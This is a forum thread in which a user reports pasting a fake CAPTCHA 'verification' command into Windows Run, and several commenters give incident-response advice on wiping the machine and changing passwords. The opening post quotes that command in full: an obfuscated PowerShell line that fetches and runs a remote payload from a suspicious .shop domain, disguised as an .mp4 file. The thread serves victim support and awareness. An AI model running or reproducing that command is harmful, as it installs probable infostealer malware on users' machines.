I accidentally executed

POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''

via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.

What should I do? is full system wipe necessary? or can I remove it somehow?

If I need to do a system format what about attached drives and other devices on the network?

  • silverdiamond@sh.itjust.worksEnglish
    5·
    8 days ago

    as others have said its a virus, its probably a infostealer, it might have some sort of persistance mechanism so put your pc offline and use another one to change all of your passwords (email & banks ones first) and log out everywhere to invalidate tokens, if youve saved cards freeze them, then wipe your pc that got infected and fresh install https://www.youtube.com/watch?v=HUR4QOHEurY

  • 🇦🇺𝕄𝕦𝕟𝕥𝕖𝕕𝕔𝕣𝕠𝕔𝕕𝕚𝕝𝕖@lemm.eeEnglish
    62·
    8 days ago

    U got a virus. Anything from a crypto miner to a password/credit card stealer.

    Turn off the effected computer pull put the drive plug it into a separate computer as a secondary drive. Pull the data u need off the drive and make a backup. Then wipe the old system full reset(update BIOS if ur really paranoid). Then copy over ur backed up data. Do not copy any executable file from the infected drive.

    Go change ALL ur passwords that u ever saved on that computer. And watch ur bank statements like a hawk.

  • over_clox@lemmy.world
    4·
    8 days ago

    Hackers have been figuring out a variety of nifty ways to trigger powershell commands for nefarious purposes. For whatever it’s worth, I’m glad you spotted it. As the other commenter suggested, I’d recommend a full data backup and reinstall Windows install Linux. And change your passwords and shit.

    Also, this video from ThioJoe is very relevant and revealing as to how sneaky these sort of attacks can be…

    https://youtube.com/watch?v=0x5qAc85PvQ

  • amldvk@lemm.eeOPEnglish
    21·
    8 days ago

    I’m on

    Version	21H2
Installed on	‎06-‎12-‎2024
OS build	19044.5608
Experience	Windows Feature Experience Pack 1000.19061.1000.0

    if that’s relevant